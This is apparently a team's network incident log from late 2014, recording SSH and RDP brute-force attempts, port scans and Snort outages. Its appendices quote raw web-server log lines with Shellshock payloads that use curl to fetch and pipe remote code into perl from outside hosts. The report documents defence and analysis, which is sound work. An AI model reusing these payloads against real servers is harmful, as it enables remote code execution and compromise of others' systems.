Network Status Report

Member Name	Date Time	Firewall Machine	Web Server	Log / Snort	Windows XP (Opt.)	Conclusion
David Tran	Oct 30 20:16:42 - 20:16:51			Snort has detected 3 RDP attempts from China; IP Address: 218.77.79.43	IP address of Windows XP: 192.168.25.3	Attempted three password cracks before removed from RDP access.
David Tran	Oct 30 18:10:14 - 22:15:50	Multiple SSH attempts from multiple IPs; sources mainly from China				
David Tran	Oct 31 (All Day)	Multiple SSH attempts from multiple IPs; sources mainly from China; changed user from “root” to “admin”				
David Tran	Oct 31			Attempted Denial of Service to Windows WS; from the States; attempting to gain entry through RDP		
David Tran	Oct 31 14:55:33 - 14:59:10			WEB-CGI attacks on Web Site from 188.226.143.68; origin from Russia		
David Tran	Oct 31 17:27:02 - 17:32:20			RDP Brute Force from 108.178.57.126		
David Tran	Oct 31 20:59:45 - 21:08:00			RDP brute force from 58.64.134.24		
David Tran	Oct 31 22:04:34 - 22:09:20			RDP Brute Force from 23.80.91.194		

David Tran	Oct 31					Files of Interest: chronyd.log and dhclient.log
David Tran	Nov 1	SSH attempts failed; Port Scans				Files of Interest: chronyd.log and dhclient.log
Peter Haile	Oct 31 14:55:30 - 14:59:14	Suspected network crash due to shellshock attacks	Checking bash history: does not show anything unusual Checking httpd access.log reveals multiple shellshock attempts from 188.226.143.68 as shown in figure A.1	Snort alerts reveal attempts on remote CGI script execution.		The firewall's public network card 'em1' released its IP address causing the network to go down. We cannot deduce that the network went down due to this attack. However, we believe the attacker was using a script to scan our server for possible shellshock vulnerabilities. -Script -Multiple attempts using different .cgi files -Each attempt are seconds apart -Command to execute simply visits a website (potentially recording access for future attacks) If this was a scan, the attacker will know we are vulnerable since he hit our cgi file 'test.cgi' in his scan as shown in figure A.2
Peter Haile	November 3	Suspected shellshock attack on webserver	Checking bash history: does not show anything unusual Checking httpd access.log reveals attempted shellshock attacks from 83.143.128.67 as shown in figuare B.1	Snort alerts reveal attempts on remote CGI script execution.		

David Tran	Nov 3	SSH attempts failed; Port Scans		Snort broken due to corrupt DAQ		Files of Interest: chronyd.log and dhclient.log
David Tran	Nov 4	SSH attempts failed; Port Scans		Snort broken due to corrupt DAQ		Files of Interest: chronyd.log and dhclient.log
David Tran	Nov 5	SSH attempts failed; Port Scans		Snort broken due to corrupt DAQ		Files of Interest: chronyd.log and dhclient.log
David Tran	Nov 6	SSH attempts failed; Port Scans		Snort and DAQ files fixed		Files of Interest: chronyd.log and dhclient.log
David Tran	Nov 7	SSH attempts failed; Port Scans		Snort and DAQ files fixed		Files of Interest: chronyd.log and dhclient.log
David Tran	Nov 7 10:33:56 - 10:48:50			RDP Brute Force from 180.153.146.103		
David Tran	Nov 7 13:36:17, 15:21:26			A couple of attempts from 86.98.83.45; source from Dubai		
David Tran	Nov 7 19:58:36 - 20:12:12			RDP Brute Force from 220.160.201.164		
David Tran	Nov 7 21:22:21 - 21:34:01			RDP Brute Force from 116.21.64.191		
David Tran	Nov 8					Same activities as Nov 7 from different sources; Files of Interest: chronyd.log and dhclient.log
David Tran	Nov 9					Same activities as Nov 7 from different sources; Files of Interest: chronyd.log, snort.log, and dhclient.log
David Tran	Nov 10					Same activities as Nov 7 from different sources; Files of Interest: chronyd.log, snort.log,

						and dhclient.log
David Tran	Nov 11					Same activities as Nov 7 from different sources; Files of Interest: chronyd.log, snort.log, and dhclient.log
David Tran	Nov 12				Snort.log abnormally short for this day...	Same activities as Nov 7 from different sources; Files of Interest: chronyd.log, snort.log, and dhclient.log
David Tran	Nov 13					Same activities as Nov 7 from different sources; Files of Interest: chronyd.log, snort.log, and dhclient.log
David Tran	Nov 14					Same activities as Nov 7 from different sources; Files of Interest: chronyd.log, snort.log, and dhclient.log
David Tran	Nov 15					Same activities as Nov 7 from different sources; Files of Interest: chronyd.log, snort.log, and dhclient.log
David Tran	Nov 16					Same activities as Nov 7 from different sources; Files of Interest: chronyd.log, snort.log, and dhclient.log
David Tran	Nov 17					Same activities as Nov 7 from different sources; Files of Interest: chronyd.log, snort.log, and dhclient.log
David Tran	Nov 18					Same activities as Nov 7 from different sources; Files of Interest: chronyd.log, snort.log, and dhclient.log
David Tran	Nov 19					Same activities as Nov 7 from different sources; Files of

						Interest: chronyd.log, snort.log, and dhclient.log
David Tran	Nov 20					Same activities as Nov 7 from different sources; Files of Interest: chronyd.log, snort.log, and dhclient.log
David Tran	Nov 21					Same activities as Nov 7 from different sources; Files of Interest: chronyd.log, snort.log, and dhclient.log
David Tran	Nov 22					Same activities as Nov 7 from different sources; Files of Interest: chronyd.log, snort.log, and dhclient.log
David Tran	Nov 23					Same activities as Nov 7 from different sources; Files of Interest: chronyd.log, snort.log, and dhclient.log
David Tran	Nov 24					Same activities as Nov 7 from different sources; Files of Interest: chronyd.log, snort.log, and dhclient.log

A.1

```
188.226.143.68 - - [31/Oct/2014:14:55:34 -0700] "GET /cgi-sys/suspendedpage.cgi HTTP/1.0" 404 1175 "() { :; }; curl http://202.28.77.53/~prajaks/31048
2/index.png | perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:35 -0700] "GET /cgi-bin/status HTTP/1.0" 404 212 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png
| perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:35 -0700] "GET /tmUnblock.cgi HTTP/1.0" 404 1175 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png
| perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:36 -0700] "GET /gitweb.cgi HTTP/1.0" 404 1175 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | p
erl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:37 -0700] "GET /gitweb/gitweb.cgi HTTP/1.0" 404 1175 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.
png | perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:37 -0700] "GET /cgi-bin/ HTTP/1.0" 403 217 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl
" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:37 -0700] "GET /cgi-bin/php HTTP/1.0" 404 209 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | p
erl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:38 -0700] "GET /cgi-bin/php5 HTTP/1.0" 404 210 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png |
perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:38 -0700] "GET /cgi-bin/php4 HTTP/1.0" 404 210 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png |
perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:38 -0700] "GET /cgi-bin/php-cgi HTTP/1.0" 404 213 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png
 | perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:39 -0700] "GET /cgi-bin/php.cgi HTTP/1.0" 404 213 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png
 | perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:39 -0700] "GET /cgi-bin/firmwarecfg HTTP/1.0" 404 217 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index
.png | perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:39 -0700] "GET /cgi-bin/%2f/admin.html HTTP/1.0" 404 218 "() { :; }; curl http://202.28.77.53/~prajaks/310482/in
dex.png | perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:40 -0700] "GET /cgi-bin/admin.html HTTP/1.0" 404 216 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.
png | perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:40 -0700] "GET /cgi-bin/test-cgi HTTP/1.0" 404 214 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.pn
g | perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:40 -0700] "GET /sys-cgi HTTP/1.0" 404 1175 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl
" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:41 -0700] "GET /dana-na/auth/url_default/welcome.cgi HTTP/1.0" 404 1175 "() { :; }; curl http://202.28.77.53/~pr
ajaks/310482/index.png | perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:41 -0700] "GET /cgi-bin/tree.php HTTP/1.0" 404 214 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.pn
g | perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:41 -0700] "GET /cgi-bin/ICuGI/EST/blast_detail.cgi HTTP/1.0" 404 232 "() { :; }; curl http://202.28.77.53/~praja
ks/310482/index.png | perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:42 -0700] "GET /cgi-bin/hello HTTP/1.0" 404 211 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png |
 perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:42 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 1175 "() { :; }; curl http://202.28.77.53/~prajaks/3104
82/index.png | perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:43 -0700] "GET /cgi-bin/w3mman2html.cgi HTTP/1.0" 404 221 "() { :; }; curl http://202.28.77.53/~prajaks/310482/i
ndex.png | perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:43 -0700] "GET /cgi-bin/status/status.cgi HTTP/1.0" 404 223 "() { :; }; curl http://202.28.77.53/~prajaks/310482
/index.png | perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
188.226.143.68 - - [31/Oct/2014:14:55:43 -0700] "GET /wwwboard/wwwboard.cgi HTTP/1.0" 404 1175 "() { :; }; curl http://202.28.77.53/~prajaks/310482/in
dex.png | perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
```

A.2

```
188.226.143.68 - - [31/Oct/2014:14:56:59 -0700] "GET /cgi-bin/test.cgi HTTP/1.0" 200 92 "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png
 | perl" "() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl"
```

B.1

```
83.143.128.67 - - [03/Nov/2014:22:25:10 -0800] "GET / HTTP/1.0" 200 8700 "-" "-"
83.143.128.67 - - [03/Nov/2014:22:25:11 -0800] "GET / HTTP/1.0" 200 8700 "-" "-"
83.143.128.67 - - [03/Nov/2014:22:25:11 -0800] "GET / HTTP/1.0" 200 26 "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl" "() { :
l http://202.143.160.141/lib21/index.cgi | perl"
83.143.128.67 - - [03/Nov/2014:22:25:11 -0800] "GET /cgi-bin-sdb/printenv HTTP/1.0" 404 1175 "() { :; }; curl http://202.143.160.141/lib21/inde
 perl" "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl"
83.143.128.67 - - [03/Nov/2014:22:25:12 -0800] "GET /cgi-mod/index.cgi HTTP/1.0" 404 1175 "() { :; }; curl http://202.143.160.141/lib21/index.c
rl" "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl"
83.143.128.67 - - [03/Nov/2014:22:25:13 -0800] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 1175 "() { :; }; curl http://202.143.160.141/lib
.cgi | perl" "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl"
```